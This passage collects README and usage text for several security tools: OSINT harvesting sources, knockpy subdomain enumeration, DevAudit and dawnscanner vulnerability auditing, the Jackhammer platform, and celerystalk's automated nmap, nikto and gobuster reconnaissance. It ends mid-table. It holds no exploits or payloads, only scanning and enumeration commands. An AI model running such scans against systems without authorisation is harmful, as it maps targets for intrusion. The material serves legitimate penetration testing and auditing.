• threatcrowd: Open source threat intelligence - https://www.threatcrowd.org/
  
• crtsh: Comodo Certificate search - www.crt.sh
  
• google: google search engine - www.google.com (With optional google dorking)
  
• googleCSE: google custom search engine
  
• google-profiles: google search engine, specific search for Google profiles
  
• bing: microsoft search engine - www.bing.com
  
• bingapi: microsoft search engine, through the API (you need to add your Key in the discovery/bingsearch.py file)
  
• dogpile: Dogpile search engine - www.dogpile.com
  
• pgp: pgp key server - mit.edu
  
• linkedin: google search engine, specific search for Linkedin users
  
• vhost: Bing virtual hosts search
  
• twitter: twitter accounts related to an specific domain (uses google search)
  
• googleplus: users that works in target company (uses google search)
  
• yahoo: Yahoo search engine
  
• baidu: Baidu search engine
  
• shodan: Shodan Computer search engine, will search for ports and banner of the discovered hosts (http://www.shodanhq.com/)
  
• hunter: Hunter search engine (you need to add your Key in the discovery/huntersearch.py file)
  
• google-certificates: Google Certificate Transparency report
  

• DNS brute force: this plugin will run a dictionary brute force enumeration
• DNS reverse lookup: reverse lookup of ip´s discovered in order to find hostnames
• DNS TDL expansion: TLD dictionary brute force enumeration

• googleCSE: You need to create a Google Custom Search engine(CSE), and add your Google API key and CSE ID in the plugin (discovery/googleCSE.py)
• shodan: You need to provide your API key in discovery/shodansearch.py (one provided at the moment)
• hunter: You need to provide your API key in discovery/huntersearch.py (none is provided at the moment)

• Requests library (http://docs.python-requests.org/en/latest/) pip install requests
• Beautiful Soup 4 (https://pypi.org/project/beautifulsoup4//) pip install beautifulsoup4

• Subdomain takeover checks
• Port scanning (basic)
• Improved DNS dictionary
• Shodan DB search fixed
• Result storage in Sqlite

$ knockpy domain.com

$ knockpy domain.com --json

• Python 2.7.6

• Dnspython

$ sudo apt-get install python-dnspython

$ git clone https://github.com/guelfoweb/knock.git

$ cd knock

$ nano knockpy/config.json <- set your virustotal API_KEY

$ sudo python setup.py install

$ knockpy -h
usage: knockpy [-h] [-v] [-w WORDLIST] [-r] [-c] [-j] domain

___________________________________________

knock subdomain scan
knockpy v.4.1
Author: Gianni 'guelfoweb' Amato
Github: https://github.com/guelfoweb/knock
___________________________________________

positional arguments:
  domain         target to scan, like domain.com

optional arguments:
  -h, --help      show this help message and exit
  -v, --version   show program's version number and exit
  -w WORDLIST     specific path to wordlist file
  -r, --resolve   resolve ip or domain name
  -c, --csv       save output in csv
  -f, --csvfields add fields name to the first row of csv output file
  -j, --json      export full report in JSON

example:
  knockpy domain.com
  knockpy domain.com -w wordlist.txt
  knockpy -r domain.com or IP
  knockpy -c domain.com
  knockpy -j domain.com

$ knockpy domain.com

$ knockpy domain.com -w wordlist.txt

$ knockpy -r domain.com [or IP]

+ checking for virustotal subdomains: YES
[
        "partnerissuetracker.corp.google.com",
        "issuetracker.google.com",
        "r5---sn-ogueln7k.c.pack.google.com",
        "cse.google.com",

        .......too long.......

        "612.talkgadget.google.com",
        "765.talkgadget.google.com",
        "973.talkgadget.google.com"
]
+ checking for wildcard: NO
+ checking for zonetransfer: NO
+ resolving target: YES
{
        "zonetransfer": {
            "enabled": false,
            "list": []
        },
        "target": "google.com",
        "hostname": "google.com",
        "virustotal": [
            "partnerissuetracker.corp.google.com",
            "issuetracker.google.com",
            "r5---sn-ogueln7k.c.pack.google.com",
            "cse.google.com",
            "mt0.google.com",
            "earth.google.com",
            "clients1.google.com",
            "pki.google.com",
            "www.sites.google.com",
            "appengine.google.com",
            "fcmatch.google.com",
            "dl.google.com",
            "translate.google.com",
            "feedproxy.google.com",
            "hangouts.google.com",
            "news.google.com",

            .......too long.......

            "100.talkgadget.google.com",
            "services.google.com",
            "301.talkgadget.google.com",
            "857.talkgadget.google.com",
            "600.talkgadget.google.com",
            "992.talkgadget.google.com",
            "93.talkgadget.google.com",
            "storage.cloud.google.com",
            "863.talkgadget.google.com",
            "maps.google.com",
            "661.talkgadget.google.com",
            "325.talkgadget.google.com",
            "sites.google.com",
            "feedburner.google.com",
            "support.google.com",
            "code.google.com",
            "562.talkgadget.google.com",
            "190.talkgadget.google.com",
            "58.talkgadget.google.com",
            "612.talkgadget.google.com",
            "765.talkgadget.google.com",
            "973.talkgadget.google.com"
        ],
        "alias": [],
        "wildcard": {
            "detected": {},
            "test_target": "eqskochdzapjbt.google.com",
            "enabled": false,
            "http_response": {}
        },
        "ipaddress": [
            "216.58.205.142"
        ],
        "response_time": "0.0351989269257",
        "http_response": {
            "status": {
                "reason": "Found",
                "code": 302
            },
            "http_headers": {
                "content-length": "256",
                "location": "http://www.google.it/?gfe_rd=cr&ei=60WIWdmnDILCXoKbgfgK",
                "cache-control": "private",
                "date": "Mon, 07 Aug 2017 10:50:19 GMT",
                "referrer-policy": "no-referrer",
                "content-type": "text/html; charset=UTF-8"
            }
        }
}

$ knockpy -c domain.com

$ knockpy -j domain.com

• BackBox Linux
• PentestBox for Windows
• Buscador Investigative Operating System

• A9 Using Components with Known Vulnerabilities
• A5 Security Misconfiguration
• A6 Sensitive Data Exposure
• A2 Broken Authentication and Session Management

• Cross-platform with a Docker image also available. DevAudit runs on Windows and Linux with *BSD and Mac and ARM Linux support planned. Only an up-to-date version of .NET or Mono is required to run DevAudit. A DevAudit Docker image can also be pulled from Docker Hub and run without the need to install Mono.
  
• CLI interface. DevAudit has a CLI interface with an option for non-interactive output and can be easily integrated into CI build pipelines or as post-build command-line tasks in developer IDEs. Work on integration of the core audit library into IDE GUIs has already begun with the Audit.Net Visual Studio extension.
  
• Continuously updated vulnerabilties data. DevAudit uses backend data providers like OSS Index and Vulners which provide continuously updated vulnerabilities data compiled from a wide range of security data feeds and sources such as the NVD CVE feeds, Drupal Security Advisories, and so on. Support for additional vulnerability and package data providers like vFeed and Libraries.io will be added.
  
• Audit operating system and development package dependencies. DevAudit audits Windows applications and packages installed via Windows MSI, Chocolatey, and OneGet, as well as Debian, Ubuntu, and CentOS Linux packages installed via Dpkg, RPM and YUM, for vulnerabilities reported for specific versions of the applications and packages. For development package dependencies and libraries DevAudit audits NuGet v2 dependencies for .NET, Yarn/NPM and Bower dependencies for nodejs, and Composer package dependencies for PHP. Support for other package managers for different languages is added regularly.
  
• Audit application server configurations. DevAudit audits the server version and the server configuration for the OpenSSH sshd, Apache httpd, MySQL/MariaDB, PostgreSQL, and Nginx servers with many more coming. Configuration auditing is based on the Alpheus library and is done using full syntactic analysis of the server configuration files. Server configuration rules are stored in YAML text files and can be customized to the needs of developers. Support for many more servers and applications and types of analysis like database auditing is added regularly.
  
• Audit application configurations. DevAudit audits Microsoft ASP.NET applications and detects vulnerabilities present in the application configuration. Application configuration rules are stored in YAML text files and can be customized to the needs of developers. Application configuration auditing for applications like Drupal and WordPress and DNN CMS is coming.
  
• Audit application code by static analysis. DevAudit currently supports static analysis of .NET CIL bytecode. Analyzers reside in external script files and can be fully customized based on the needs of the developer. Support for C# source code analysis via Roslyn, PHP7 source code and many more languages and external static code analysis tools is coming.
  
• Remote agentless auditing. DevAudit can connect to remote hosts via SSH with identical auditing features available in remote environments as in local environments. Only a valid SSH login is required to audit remote hosts and DevAudit running on Windows can connect to and audit Linux hosts over SSH. On Windows DevAudit can also remotely connect to and audit other Windows machines using WinRM.
  
• Agentless Docker container auditing. DevAudit can audit running Docker containers from the Docker host with identical features available in container environments as in local environments.
  
• GitHub repository auditing. DevAudit can connect directly to a project repository hosted on GitHub and perform package source and application configuration auditing.
  
• PowerShell support. DevAudit can also be run inside the PowerShell system administration environment as cmdlets. Work on PowerShell support is paused at present but will resume in the near future with support for cross-platform Powershell both on Windows and Linux.
  

• Building from source.
• Using a binary release archive file downloaded from Github for Windows or Linux.
• Using the release MSI installer downloaded from Github for Windows.
• Using the Chocolatey package manager on Windows.
• Pulling the ossindex/devaudit image from Docker Hub on Linux.

1. Pre-requisites: Mono 4.4+ (Mono 5 recommended) and the mono-devel package which provides the compiler and other tools needed for building Mono apps. Your distro should have packages for at least Mono version 4.4 and above, otherwise manual installation instructions for the most recent packages provided by the Mono project for several major Linux distros are here
   
2. Clone the DevAudit repository from https://github.com/OSSIndex/DevAudit.git
   
3. Run the build.sh script in the root DevAudit directory. DevAudit should compile without any errors.
   
4. Run ./devaudit --help and you should see the DevAudit version and help screen printed.
   

1. Pre-requisites: You must have one of:
   
   • A .NET Framework 4.6 SDK or developer pack.
   • Visual Studio 2015.
2. Clone the DevAudit repository from https://github.com/OSSIndex/DevAudit.git
   
3. From a visual Studio 2015 or ,NETRun the build.cmd script in the root DevAudit directory. DevAudit should compile without any errors.
   
4. Run ./devaudit --help and you should see the DevAudit version and help screen printed.
   

1. Pre-requisites: You must have Mono 4.4+ on Linux or .NET 4.6 on Windows.
   
2. Download the latest release archive file for Windows or Linux from the project releases page. Unpack this file to a directory.
   
3. From the directory where you unpacked the release archive run devaudit --help on Windows or ./devaudit --help on Linux. You should see the version and help screen printed.
   
4. (Optional) Add the DevAudit installation directory to your PATH environment variable
   

1. Click on the releases link near the top of the page.
2. Identify the release you would like to install.
3. A "DevAudit.exe" link should be visible for each release that has a pre-built installer.
4. Download the file and execute the installer. You will be guided through a simple installation.
5. Open a new command prompt or PowerShell window in order to have DevAudit in path.
6. Run DevAudit.

1. Install Chocolatey.
2. Open an admin console or PowerShell window.
3. Type choco install devaudit
4. Run DevAudit.

• Package Source. A package source manages application and library dependencies using a package manager. Package managers install, remove or update applications and library dependencies for an operating system like Debian Linux, or for a development language or framework like .NET or nodejs. Examples of package sources are dpkg, yum, Chocolatey, Composer, and Bower. DevAudit audits the names and versions of installed packages against vulnerabilities reported for specific versions of those packages.
• Application. An application like Drupal or a custom application built using a framework like ASP.NET. DevAudit audits applications and application modules and plugins against vulnerabilities reported for specific versions of application binaries and modules and plugins. DevAudit can also audit application configurations for known vulnerabilities, and perform static analysis on application code looking for known weaknesses.
• Application Server. Application servers provide continuously running services or daemons like a web or database server for other applications to use, or for users to access services like authentication. Examples of application servers are the OpenSSH sshd and Apache httpd servers. DevAudit can audit application server binaries, modules and plugins against vulnerabilities reported for specific versions as well as audit server configurations for known server configuration vulnerabilities and weaknesses.

• Local. This is the default audit environment where audits are executed on the local machine.
• SSH. Audits are executed on a remote host connected over SSH. It is not necessary to have DevAudit installed on the remote host.
• WinRM. Audits are executed on a remote Windows host connected over WinRM. It is not necessary to have DevAudit installed on the remote host.
• Docker. Audits are executed on a running Docker container. It is not necessary to have DevAudit installed on the container image.
• GitHub. Audits are executed on a GitHub project repository's file-system directly. It is not necessary to checkout or download the project locally to perform the audit.

devaudit TARGET [ENVIRONMENT] | [OPTIONS]

• msi Do a package audit of the Windows Installer MSI package source on Windows machines.
  
• choco Do a package audit of packages installed by the Choco package manager.
  
• oneget Do a package audit of the system OneGet package source on Windows.
  
• nuget Do a package audit of a NuGet v2 package source. You must specify the location of the NuGet packages.config file you wish to audit using the -f or --file option otherwise the current directory will be searched for this file.
  
• bower Do a package audit of a Bower package source. You must specify the location of the Bower packages.json file you wish to audit using the -f or --file option otherwise the current directory will be searched for this file.
  
• composer Do a package audit of a Composer package source. You must specify the location of the Composer composer.json file you wish to audit using the -f or --file option otherwise the current directory will be searched for this file.
  
• dpkg Do a package audit of the system dpkg package source on Debian Linux and derivatives.
  
• rpm Do a package audit of the system RPM package source on RedHat Linux and derivatives.
  
• yum Do a package audit of the system Yum package source on RedHat Linux and derivatives.
  

• -f --file Specify the location of the package manager configuration file if needed. The NuGet, Bower and Composer package sources require this option.
  
• --list-packages Only list the packages in the package source scanned by DevAudit.
  
• --list-artifacts Only list the artifacts found on OSS Index for packages scanned by DevAudit.
  

• aspnet Do an application audit on a ASP.NET application. The relevant options are:
  
  • -r --root-directory Specify the root directory of the application. This is just the top-level application directory that contains files like Global.asax and Web.config.
  • -b --application-binary Specify the application binary. The is the .NET assembly that contains the application's .NET bytecode. This file is usually a .DLL and located in the bin sub-folder of the ASP.NET application root directory.
  • -c --configuration-file or -o AppConfig=configuration-file Specifies the ASP.NET application configuration file. This file is usually named Web.config and located in the application root directory. You can override the default @Web.config value with this option.
  • -o AppDevMode=enabled Specifies that application development mode should be enabled for the audit. This mode can be used when auditing an application that is under development. Certain configuration rules that are tagged as disabled for AppDevMode (e.g running the application in ASP.NET debug mode) will not be enabled during the audit.
• netfx Do an application audit on a .NET application. The relevant options are:
  
  • -r --root-directory Specify the root directory of the application. This is just the top-level application directory that contains files like App.config.
  • -b --application-binary Specify the application binary. The is the .NET assembly that contains the application's .NET bytecode. This file is usually a .DLL and located in the bin sub-folder of the ASP.NET application root directory.
  • -c --configuration-file or -o AppConfig=configuration-file Specifies the .NET application configuration file. This file is usually named App.config and located in the application root directory. You can override the default @App.config value with this option.
  • -o GendarmeRules=RuleLibrary Specifies that the Gendarme static analyzer should enabled for the audit with rules from the specified rules library used. For example: devaudit netfx -r /home/allisterb/vbot-debian/vbot.core -b @bin/Debug/vbot.core.dll --skip-packages-audit -o GendarmeRules=Gendarme.Rules.Naming will run the Gendarme static analyzer on the vbot.core.dll assembly using rules from Gendarme.Rules.Naming library. The complete list of rules libraries is (taken from the Gendarme wiki):
  • Gendarme.Rules.BadPractice
  • Gendarme.Rules.Concurrency
  • Gendarme.Rules.Correctness
  • Gendarme.Rules.Design
  • Gendarme.Rules.Design.Generic
  • Gendarme.Rules.Design.Linq
  • Gendarme.Rules.Exceptions
  • Gendarme.Rules.Gendarme
  • Gendarme.Rules.Globalization
  • Gendarme.Rules.Interoperability
  • Gendarme.Rules.Interoperability.Com
  • Gendarme.Rules.Maintainability
  • Gendarme.Rules.NUnit
  • Gendarme.Rules.Naming
  • Gendarme.Rules.Performance
  • Gendarme.Rules.Portability
  • Gendarme.Rules.Security
  • Gendarme.Rules.Security.Cas
  • Gendarme.Rules.Serialization
  • Gendarme.Rules.Smells
  • Gendarme.Rules.Ui
• drupal7 Do an application audit on a Drupal 7 application.
  
  • -r --root-directory Specify the root directory of the application. This is just the top-level directory of your Drupal 7 install.
• drupal8 Do an application audit on a Drupal 8 application.
  
  • -r --root-directory Specify the root directory of the application. This is just the top-level directory of your Drupal 8 install.

• --list-packages Only list the application plugins or modules scanned by DevAudit.
  
• --list-artifacts Only list the artifacts found on OSS Index for application plugins and modules scanned by DevAudit.
  
• --skip-packages-audit Only do an appplication configuration or code analysis audit and skip the packages audit.
  

• sshd Do an application server audit on an OpenSSH sshd-compatible server.
  
• httpd Do an application server audit on an Apache httpd-compatible server.
  
• mysql Do an application server audit on a MySQL-compatible server (like MariaDB or Oracle MySQL.)
  
• nginx Do an application server audit on a Nginx server.
  
• pgsql Do an application server audit on a PostgreSQL server.
  

• -r --root-directory Specifies the root directory of the server. This is just the top-level of your server filesystem and defaults to / unless you want a different server root.
• -c --configuration-file Specifies the server configuration file. e.g in the above audit the Apache configuration file is located at /usr/local/apache2/conf/httpd.conf. If you don't specify the configuration file DevAudit will attempt to auto-detect the configuration file for the server selected.
• -b --application-binary Specifies the server binary. e.g in the above audit the Apache binary is located at /usr/local/apache2/bin/httpd. If you don't specify the binary path DevAudit will attempt to auto-detect the server binary for the server selected.

• --list-packages Only list the application plugins or modules scanned by DevAudit.
  
• --list-artifacts Only list the artifacts found on OSS Index for application plugins and modules scanned by DevAudit.
  
• --skip-packages-audit Only do a server configuration audit and skip the packages audit.
  

docker run -i -t ossindex/devaudit TARGET [ENVIRONMENT] | [OPTIONS]

• Use the -d option to enable debugging output. Diagnostic information will be emitted during the audit run.
• On Linux use the DEVAUDIT_TRACE variable to enable tracing program execution. The value of this variable must be in the format for Mono tracing e.g you can set DEVAUDIT_TRACE=N:DevAudit.AuditLibrary to trace all the calls made to the audit library duing an audit.

• On Windows you must use the -n --non-interactive program option when piping or redirecting program output to a file otherwise a crash will result. This behaviour may be changed in the future to make non-interactive mode the default.
• There appears to be an issue using the Windows console app ConEmu and the Cygwin builds of the OpenSSH client when SSHing into remote Linux hosts to run Mono apps. If you run DevAudit this way you may notice strange sequences appearing sometimes at the end of console output. You may also have problems during keyboard interactive entry like entering passwords for SSH audits where the wrong password appears to be sent. If you are having problems entering passwords for SSH audits using ConEmu when working remotely, try holding the backspace key for a second or two to clear the input buffer before entering your password.

• Ruby on Rails
• Sinatra
• Padrino

$ gem install dawnscanner 

group :development do
  gem 'dawnscanner', :require=>false
end

$ bundle install

$ git clone https://github.com/thesp0nge/dawnscanner.git
$ cd dawnscanner
$ bundle install
$ rake install

$ dawn [options] target

$ dawn -h
Usage: dawn [options] target_directory

Examples:
 $ dawn a_sinatra_webapp_directory
 $ dawn -C the_rails_blog_engine
 $ dawn -C --json a_sinatra_webapp_directory
 $ dawn --ascii-tabular-report my_rails_blog_ecommerce
 $ dawn --html -F my_report.html my_rails_blog_ecommerce

   -G, --gem-lock    force dawn to scan only for vulnerabilities affecting dependencies in Gemfile.lock (DEPRECATED)
   -d, --dependencies    force dawn to scan only for vulnerabilities affecting dependencies in Gemfile.lock

Reporting

   -a, --ascii-tabular-report   cause dawn to format findings using tables in ascii art (DEPRECATED)
   -j, --json     cause dawn to format findings using json
   -K, --console     cause dawn to format findings using plain ascii text
   -C, --count-only    dawn will only count vulnerabilities (useful for scripts)
   -z, --exit-on-warn    dawn will return number of found vulnerabilities as exit code
   -F, --file filename    tells dawn to write output to filename
   -c, --config-file filename   tells dawn to load configuration from filename

Disable security check family

       --disable-cve-bulletins   disable all CVE security checks
       --disable-code-quality   disable all code quality checks
       --disable-code-style   disable all code style checks
       --disable-owasp-ror-cheatsheet  disable all Owasp Ruby on Rails cheatsheet checks
       --disable-owasp-top-10   disable all Owasp Top 10 checks

Flags useful to query Dawn

   -S, --search-knowledge-base [check_name] search check_name in the knowledge base
       --list-knowledge-base   list knowledge-base content
       --list-known-families   list security check families contained in dawn's knowledge base
       --list-known-framework   list ruby MVC frameworks supported by dawn
       --list-scan-registry   list past scan informations stored in scan registry 

Service flags

   -D, --debug     enters dawn debug mode
   -V, --verbose    the output will be more verbose
   -v, --version    show version information
   -h, --help     show this help

require 'dawn/tasks'

$ rake -T
...
rake dawn:run                  # Execute dawnscanner on the current directory
...

$ dawn --list-knowledge-base

$ dawn -S CVE-2013-6421
07:59:30 [*] dawn v1.1.0 is starting up
CVE-2013-6421 found in knowledgebase.

$ dawn -S this_test_does_not_exist
08:02:17 [*] dawn v1.1.0 is starting up
this_test_does_not_exist not found in knowledgebase

$ dawn ~/src/hacking/railsberry2013
18:40:27 [*] dawn v1.1.0 is starting up
18:40:27 [$] dawn: scanning /Users/thesp0nge/src/hacking/railsberry2013
18:40:27 [$] dawn: sinatra v1.4.2 detected
18:40:27 [$] dawn: applying all security checks
18:40:27 [$] dawn: 109 security checks applied - 0 security checks skipped
18:40:27 [$] dawn: 1 vulnerabilities found
18:40:27 [!] dawn: CVE-2013-1800 check failed
18:40:27 [$] dawn: Severity: high
18:40:27 [$] dawn: Priority: unknown
18:40:27 [$] dawn: Description: The crack gem 0.3.1 and earlier for Ruby does not properly restrict casts of string values, which might allow remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) by leveraging Action Pack support for (1) YAML type conversion or (2) Symbol type conversion, a similar vulnerability to CVE-2013-0156.
18:40:27 [$] dawn: Solution: Please use crack gem version 0.3.2 or above. Correct your gemfile
18:40:27 [$] dawn: Evidence:
18:40:27 [$] dawn:      Vulnerable crack gem version found: 0.3.1
18:40:27 [*] dawn is leaving

18:42:39 [*] dawn v1.1.0 is starting up
18:42:39 [$] dawn: scanning /Users/thesp0nge/src/CORE_PROJECTS/scorecard
18:42:39 [$] dawn: padrino v0.11.2 detected
18:42:39 [$] dawn: applying all security checks
18:42:39 [$] dawn: 109 security checks applied - 0 security checks skipped
18:42:39 [*] dawn: no vulnerabilities found.
18:42:39 [*] dawn is leaving

$ dawn /Users/thesp0nge/src/hacking/rt_first_app --html --file report.html

09:00:54 [*] dawn v1.1.0 is starting up
09:00:54 [*] dawn: report.html created (2952 bytes)
09:00:54 [*] dawn is leaving

• Provides unified interface to collaborate on findings
• Scanning (code) can be done for all code management repositories
• Scheduling of scans based on intervals # daily, weekly, monthly
• Advanced false positive filtering
• Publish vulnerabilities to bug tracking systems
• Keep a tab on statistics and vulnerability trends in your applications
• Integrates with majority of open source and commercial scanning tools
• Users and Roles management giving greater control
• Configurable severity levels on list of findings across the applications
• Built-in vulnerability status progression
• Easy to use filters to review targeted sets from tons of vulnerabilities
• Asynchronous scanning (via sidekiq) that scale
• Seamless Vulnerability Management
• Track statistics and graph security trends in your applications
• Easily integrates with a variety of open source, commercial and custom scanning tools

• Brakeman
• Bundler-Audit
• Checkmarx**
• Dawnscanner
• FindSecurityBugs
• Xanitizer*
• NodeSecurityProject
• PMD
• Retire.js

• Trufflehog (Slightly modified/extended for better result and integration as of May 2017)

• Arachni

• Androbugs (Slightly modified/extended for better result and integration as of May 2017)
• Androguard (Slightly modified/extended for better result and integration as of May 2017)

• WPScan (Slightly modified/extended for better result and integration as of May 2017)

• Nmap

 git clone https://github.com/olacabs/jackhammer
 sh ./docker-build.sh

sh ./docker-build.sh SingleUser

docker-compose stop
docker-compose rm
docker-compose up -d

• Configurable - Some common tools are in the default config, but you can add any tool you want
• Service Aware - Uses nmap/nessus service names rather than port numbers to decide which tools to run
• Scalable - Designed for scanning multiple hosts, but works well for scanning one host at a time
• VirtualHosts - Supports subdomain recon and virtualhost scanning
• Job Control - Supports canceling, pausing, and resuming of tasks, inspired by Burp scanner
• Screenshots Automatically takes screenshots of every url identified via brute force (gobuster) and spidering (Photon)

• Supported Operating Systems: Kali
• Supported Python Version: 2.x

# git clone https://github.com/sethsec/celerystalk.git
# cd celerystalk/setup
# ./install.sh
# cd ..
# ./celerystalk -h

# nmap 10.10.10.10 -Pn -p- -sV -oX tenten.xml                       # Run nmap
# ./celerystalk workspace create -o /htb                            # Create default workspace and set output dir
# ./celerystalk import -f tenten.xml                                # Import scan 
# ./celerystalk db services                                         # If you want to see what services were loaded
# ./celerystalk scan                                                # Run all enabled commands
# ./celerystalk query watch (then Ctrl+c)                           # Watch scans as move from pending > running > complete
# ./celerystalk report                                              # Generate report
# firefox /htb/celerystalkReports/Workspace-Report[Default.html] &  # View report 

# nmap -iL client-inscope-list.txt -Pn -p- -sV -oX client.xml       # Run nmap
# ./celerystalk workspace create -o /assessments/client             # Create default workspace and set output dir
# ./celerystalk import -f client.xml -S scope.txt                   # Import scan and scope files
# ./celerystalk subdomains -d client.com,client.net            # Find subdomains and determine if in scope
# ./celerystalk scan                                                # Run all enabled commands
# ./celerystalk query watch (then Ctrl+c)                           # Wait for scans to finish
# ./celerystalk report                                              # Generate report
# firefox <path>/celerystalkReports/Workspace-Report[Default].html &# View report 

# ./celerystalk workspace create -o /assessments/client             # Create default workspace and set output dir
# ./celerystalk scan -u http://10.10.10.10/secret_folder/           # Run all enabled commands
# ./celerystalk query watch (then Ctrl+c)                           # Wait for scans to finish
# ./celerystalk report                                              # Generate report
# firefox <path>/celerystalkReports/Workspace-Report[Default].html &# View report 

1. Configure which tools you'd like celerystalk to execute: The install script drops a config.ini file in the celerystalk folder. The config.ini script is broken up into three sections:
   Service Mapping - The first section normalizes Nmap & Nessus service names for celerystalk (this idea was created by @codingo_ in Reconnoitre AFAIK).
   

   [nmap-service-names]
   http = http,http-alt,http-proxy,www,http?
   https = ssl/http,https,ssl/http-alt,ssl/http?
   ftp = ftp,ftp?
   mysql = mysql
   dns = dns,domain,domain

   Domain Recon Tools - The second section defines the tools you'd like to use for subdomain discovery (an optional feature):
   

   [domain-recon]
   amass               : /opt/amass/amass -d [DOMAIN]
   sublist3r           : python /opt/Sublist3r/sublist3r.py -d [DOMAIN]

   Service Configuration - The rest of the confi.ini sections define which commands you want celerystalk to run for each identified service (i.e., http, https, ssh).
   
   • Disable any command by commenting it out with a ; or a #.
   • Add your own commands using [TARGET],[PORT], and [OUTPUT] placeholders.
   Here is an example:
   

   [http]
   whatweb             : whatweb http://[TARGET]:[PORT] -a3 --colour=never > [OUTPUT].txt
   cewl                : cewl http://[TARGET]:[PORT]/ -m 6 -w [OUTPUT].txt
   curl_robots         : curl http://[TARGET]:[PORT]/robots.txt --user-agent 'Googlebot/2.1 (+http://www.google.com/bot.html)' --connect-timeout 30 --max-time 180  > [OUTPUT].txt
   nmap_http_vuln      : nmap -sC -sV -Pn -v -p [PORT] --script=http-vuln* [TARGET] -d -oN [OUTPUT].txt -oX [OUTPUT].xml --host-timeout 120m --script-timeout 20m
   nikto               : nikto -h http://[TARGET] -p [PORT] &> [OUTPUT].txt
   gobuster-common     : gobuster -u http://[TARGET]:[PORT]/ -k -w /usr/share/seclists/Discovery/Web-Content/common.txt -s '200,204,301,302,307,403,500' -e -n -q > [OUTPUT].txt
   photon              : python /opt/Photon/photon.py -u http://[TARGET]:[PORT] -o [OUTPUT]
   ;gobuster_2.3-medium : gobuster -u http://[TARGET]:[PORT]/ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -s '200,204,301,307,403,500' -e -n -q > [OUTPUT].txt

2. Run Nmap or Nessus:
   
   • Nmap: Run nmap against your target(s). Required: enable version detection (-sV) and output to XML (-oX filename.xml). All other nmap options are up to you. Here are some examples:

      nmap target(s) -Pn -p- -sV -oX filename.xml 
      nmap -iL target_list.txt -Pn -sV -oX filename.xml

   • Nessus: Run nessus against your target(s) and export results as a .nessus file
3. Create worksapce:
   

   Option	Description
   no options	Prints current workspace
   create	Creates new workspace
   -w	Define new workspace name
   -o	Define output directory assigned to workspace

     Create default workspace    ./celerystalk workspace create -o /assessments/client
     Create named workspace      ./celerystalk workspace create -o /assessments/client -w client
     Switch to another worksapce ./celerystalk workspace client

4. Import Data: Import data into celerystalk
   

   Option	Description
   -f scan.xml	Nmap/Nessus xml Adds all IP addresses from this file to hosts table and marks them all in scope to be scanned. Adds all ports and service types to services table.
   -S scope.txt	Scope file Show file differences that haven't been staged
   -D subdomains.txt	(sub)Domains file celerystalk determines whether each subdomain is in scope by resolving the IP and looking for IP in the DB. If there is a match, the domain is marked as in scope and will be scanned.

   Import Nmap XML file:       ./celerystalk import -f /assessments/nmap.xml 
   Import Nessus file:         ./celerystalk import -f /assessments/scan.nessus 
   Import list of Domains:     ./celerystalk import -D <file>
   Import list of IPs/Ranges:  ./celerystalk import -S <file>
   Specify workspace:          ./celerystalk import -f <file>     
   Import multiple files:      ./celerystalk import -f nmap.xml -S scope.txt -D domains.txt

5. Find Subdomains (Optional): celerystalk will perform subdomain recon using the tools specified in the config.ini.
   

   Option	Description
   -d domain1,domain2,etc	Run Amass, Sublist3r, etc. and store domains in DB After running your subdomain recon tools celerystalk determines whether each subdomain is in scope by resolving the IP and looking for IP in the DB. If there is a match, the domain is marked as in scope and will be scanned.

   Find subdomains:       celerystalk subdomains -d domain1.com,domain2.com

6. Launch Scan: I recommend using the import command first and running scan with no options, however you do have the option to do it all at once (import and scan) by using the flags below. celerystalk will submit tasks to celery which asynchronously executes them and logs output to your output directory.
   

   Option	Description
   no options	Scan all in scope hosts Reads DB and scans every in scope IP and subdomain. Launches all enabled tools for IPs, but only http/http specific tools against virtualhosts
   -t ip,vhost,cidr	Scan specific target(s) from DB or scan file Scan a subset of the in scope IPs and/or subdomains.
   -s	Simulation Sends all of the tasks to celery, but all commands are executed with a # before them rendering them inert.
   Use these only if you want to skip the import phase and import/scan all at once
   -f scan.xml	Import and process Nmap/Nessus xml before scan Adds all IP addresses from this file to hosts table and marks them all in scope to be scanned. Adds all ports and service types to services table.
   -S scope.txt	Import and process scope file before scan Show file differences that haven't been staged.
   -D subdomains.txt	Import and process (sub)domains file before scan celerystalk determines whether each subdomain is in scope by resolving the IP and looking for IP in the DB. If there is a match, the domain is marked as in scope and will be scanned.
   -d domain1,domain2,etc	Find Subdomains and scan in scope hosts After running your subdomain recon tools celerystalk determines whether each subdomain is in scope by resolving the IP and looking for IP in the DB. If there is a match, the domain is marked as in scope and will be scanned.

   Scan imported hosts/subdomains
   

   Scan all in scope hosts:    ./celerystalk scan    
   Scan subset of DB hosts:    ./celerystalk scan -t 10.0.0.1,10.0.0.3
                               ./celerystalk scan -t 10.0.0.100-200
                               ./celerystalk scan -t 10.0.0.0/24
                               ./celerystalk scan -t sub.domain.com
   Simulation mode:            ./celerystalk scan -s

   Import and Scan
   

   Start from Nmap XML file:   ./celerystalk scan -f /pentest/nmap.xml -o /pentest
   Start from Nessus file:     ./celerystalk scan -f /pentest/scan.nessus -o /pentest
   Scan all in scope vhosts:   ./celerystalk scan -f <file> -o /pentest -d domain1.com,domain2.com
   Scan subset hosts in XML:   ./celerystalk scan -f <file> -o /pentest -t 10.0.0.1,10.0.0.3
                               ./celerystalk scan -f <file> -o /pentest -t 10.0.0.100-200
                               ./celerystalk scan -f <file> -o /pentest -t 10.0.0.0/24
   Simulation mode:            ./celerystalk scan -f <file> -o /pentest -s

7. Rescan: Use this command to rescan an already scanned host.
   

   Option	Description
   no option	For each in scope host in the DB, celerystalk will ask if if you want to rescan it
   -t ip,vhost,cidr	Scan a subset of the in scope IPs and/or subdomains.

   Rescan all hosts:           ./celerystalk rescan
   Rescan some hosts           ./celerystalk rescan-t 1.2.3.4,sub.domain.com  
   Simulation mode:            ./celerystalk rescan -s   

8. Query Status: Asynchronously check the status of the tasks queue as frequently as you like. The watch mode actually executes the linux watch command so you don't fill up your entire terminal buffer.
   

   Option	Description
   no options	Shows all tasks in the defualt workspace
   watch	Sends command to the unix watch command which will let you get an updated status every 2 seconds
   brief	Limit of 5 results per status (pending/running/completed/cancelled/paused)
   summary	Shows only a banner with numbers and not the tasks themselves

   Query Tasks:                ./celerystalk query 
                               ./celerystalk query watch                               
                               ./celerystalk query brief
                               ./celerystalk query summary                                
                               ./celerystalk query summary watch

9. Cancel/Pause/Resume Tasks: Cancel/Pause/Resume any task(s) that are currently running or in the queue.
   

   Option	Description
